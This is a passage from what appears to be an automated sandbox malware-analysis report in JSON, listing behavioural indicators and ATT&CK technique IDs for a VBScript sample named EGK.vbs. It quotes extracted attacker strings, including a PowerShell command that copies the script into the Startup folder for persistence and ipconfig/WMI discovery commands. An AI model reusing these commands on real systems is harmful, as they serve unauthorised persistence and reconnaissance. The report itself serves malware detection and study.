Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$46","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"powershell.exe\" trying to access LNK file \"C:\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"WScript.exe\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL\"\n \"WScript.exe\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL\"\n \"WScript.exe\" trying to access non-existent file \"C:\\CMD.EXE\"\n \"cmd.exe\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL\"\n \"cmd.exe\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL\"\n \"cmd.exe\" trying to access non-existent file \"C:\\CMD.EXE\"\n \"PING.EXE\" trying to access non-existent file \"C:\\Windows\\system32\\api-ms-win-core-fibers-l1-1-1.DLL\"\n \"PING.EXE\" trying to access non-existent file \"C:\\Windows\\system32\\api-ms-win-core-localization-l1-2-1.DLL\"\n \"PING.EXE\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL\"\n \"PING.EXE\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$47","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes a file to the startup folder","description":"\"powershell.exe\" wrote to file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs\"\n \"powershell.exe\" wrote 558 bytes to file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs\": 20007d000d000a000d000a0027002000200020002000200020002000200020007000720069007600610074006500200076006f0069006400200043006100720072006500670061007200460075006e00630069006f006e006100720069006f0028006f0062006a006500630074002000730065006e006400650072002c002000 ...","origin":"API Call","mitre_attack_id":"T1547.001","relevance":10,"id":"api-90","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\ugsx67xcxb4rlvil5zo0.temp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ ld.vbs\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\cd2owk1hukqq5g5tajw7.temp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\h2xyend7wcf9pjz3wq2e.temp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\77ec63bda74bd0d0e0426dc8f8008506\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\77ec63bda74bd0d0e0426dc8f8008506\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\cab186.tmp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\tar187.tmp\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to communicate with HTTP server","description":"\"powershell.exe\" called \"WinHttpConnect\" to server \"ctldl.windowsupdate.com\" on port 80 (UID: 00000000-00001464)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-187","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"\"powershell.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"1d2c7ea0\"\n \"dwHeadersLength\": \"0\"\n \"dwOptionalLength\": \"0\"\n \"dwTotalLength\": \"0\"\n \"dwContext\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"powershell.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"1d2c7ea0\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Network Related","name":"Checks internet connectivity using tracert/ping","description":"Process \"PING.EXE\" with commandline \"ping 127.0.0.1 -n 5\" (UID: 00000000-00003872)","origin":"Monitored Target","mitre_attack_id":"T1016.001","relevance":1,"id":"target-348","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Network Related","name":"Contains ability to check internet connectivity","description":"Found string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs')\"\" (Indicator: \"ping 127.0.0.1\"; File: \"cmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1016.001","relevance":1,"id":"string-573","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$48","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Network Related","name":"Contains ability to identify remote systems","description":"Found string \"\"%WINDIR%\\System32\\cmd.exe\" /c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','C:\\Use\" (Indicator: \"/c ping\"; Source: \"00000000-00001268-00000C41-5631816482\")\n Found string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs')\"\" (Indicator: \"/c ping\"; File: \"cmd.exe\")\n Found string \"ping 127.0.0.1 -n 5\" (Indicator: \"ping \"; File: \"PING.EXE\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve TCP/IP network configuration","description":"file/memory contains long string with (Indicator: \"cmd /c ipconfig\"; File: \"EGK.vbs.bin\")\n file/memory contains long string with (Indicator: \"ipconfig /all\"; File: \"EGK.vbs.bin\")\n file/memory contains long string with (Indicator: \"/c ipconfig\"; File: \"EGK.vbs.bin\")\n file/memory contains long string with (Indicator: \"\"ipconfig\"; File: \"EGK.vbs.bin\")\n Found string \"cmd = \"cmd /c ipconfig /all >> \" & outputFileName\" (Indicator: \"cmd /c ipconfig\"; File: \"EGK.vbs.bin\")\n Found string \"cmd = \"cmd /c ipconfig /all >> \" & outputFileName\" (Indicator: \"ipconfig /all\"; File: \"EGK.vbs.bin\")\n Found string \"cmd = \"cmd /c ipconfig /all >> \" & outputFileName\" (Indicator: \"/c ipconfig\"; File: \"EGK.vbs.bin\")\n Found string \"RunCmd \"ipconfig /displaydns\", logFileName\" (Indicator: \"\"ipconfig\"; File: \"EGK.vbs.bin\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-325","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload or download data from a specified domain","description":"file/memory contains long string with (Indicator: \"System.Net.WebClient\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1102.002","relevance":1,"id":"string-536","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"127.0.0.1\" found in string \"\"%WINDIR%\\System32\\cmd.exe\" /c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','C:\\Use\", Potential IP \"127.0.0.1\" found in string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs')\"\"\n Potential IP \"127.0.0.1\" found in string \"ping 127.0.0.1 -n 5\"\n \"192.168.241.237\"\n Potential IP \"12.5.12.0\" found in string \"DriverVer=10/27/2021, 12.5.12.0\"\n \"2.5.12.0\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$49","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"104.21.45.138\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLECBC075C72CC747D0BCB04F44C9B9]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000612.00000000.79908.00380000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLEFC8E7CF34DA34B6BBB82092435ED]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000612.00000000.79908.00380000.00000004.mdmp, 00000000-00000612.00000001.81290.003F1000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"WScript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"WScript.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff070000030000000000000004000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff070000030000000000000004000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$4a","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"file/memory contains long string with (Indicator: \"base64\"; File: \"00000000-00001464\")\n file/memory contains long string with (Indicator: \"base64\"; File: \"powershell.exe\")\n file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system services using Tasklist","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-173","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetSystemDirectoryW\" (Indicator: \"GetSystemDirectory\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"file/memory contains long string with (Indicator: \" Win32_NetworkAdapte\"; File: \"EGK.vbs.bin\")\n file/memory contains long string with (Indicator: \" Win32_NetworkAdapter\"; File: \"EGK.vbs.bin\")\n file/memory contains long string with (Indicator: \" Win32_Service\"; File: \"EGK.vbs.bin\")\n Found string \"strQuery = \"Select * from Win32_NetworkAdapter \"\" (Indicator: \" Win32_NetworkAdapte\"; File: \"EGK.vbs.bin\")\n Found string \"strQuery = \"Select * from Win32_NetworkAdapter \"\" (Indicator: \" Win32_NetworkAdapter\"; File: \"EGK.vbs.bin\")\n Found string \"strQuery = \"Select * from WIN32_Service where Name = 'lanmanserver' AND Started = True\"\" (Indicator: \" Win32_Service\"; File: \"EGK.vbs.bin\")\n Found string \"strQuery = \"Select * from WIN32_Service where Name = 'vmms' AND Started = True\"\" (Indicator: \" Win32_Service\"; File: \"EGK.vbs.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF10b0c8.TMP\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF10ce27.TMP\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF10e697.TMP\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Cab186.tmp\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Tar187.tmp\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"System Destruction","name":"Opens file with deletion access rights","description":"$4e","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002792)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00003372)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001464)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"System Security","name":"Deletes registry keys","description":"\"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"INTRANETNAME\"; Value: \"\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"INTRANETNAME\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1070","relevance":3,"id":"registry-170","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"System Security","name":"Modifies Software Policy Settings","description":"$51","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"System Security","name":"Modifies proxy settings","description":"\"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$52","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")\n \"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.LNK\"; Key: \"ALWAYSSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$53","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Commandline contains PowerShell","description":"$54","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-510","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Commandline contains long base64 encoded string","description":"Commandline contains long base64 encoded string \"Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287.......\" in [Source : 00000000-00001464]\n Commandline contains long base64 encoded string \"4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51.......\" in [Source : 00000000-00001464]","origin":"File/Memory","mitre_attack_id":"T1132","relevance":5,"id":"string-509","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops cabinet archive files","description":"\"77EC63BDA74BD0D0E0426DC8F8008506\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 63843 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 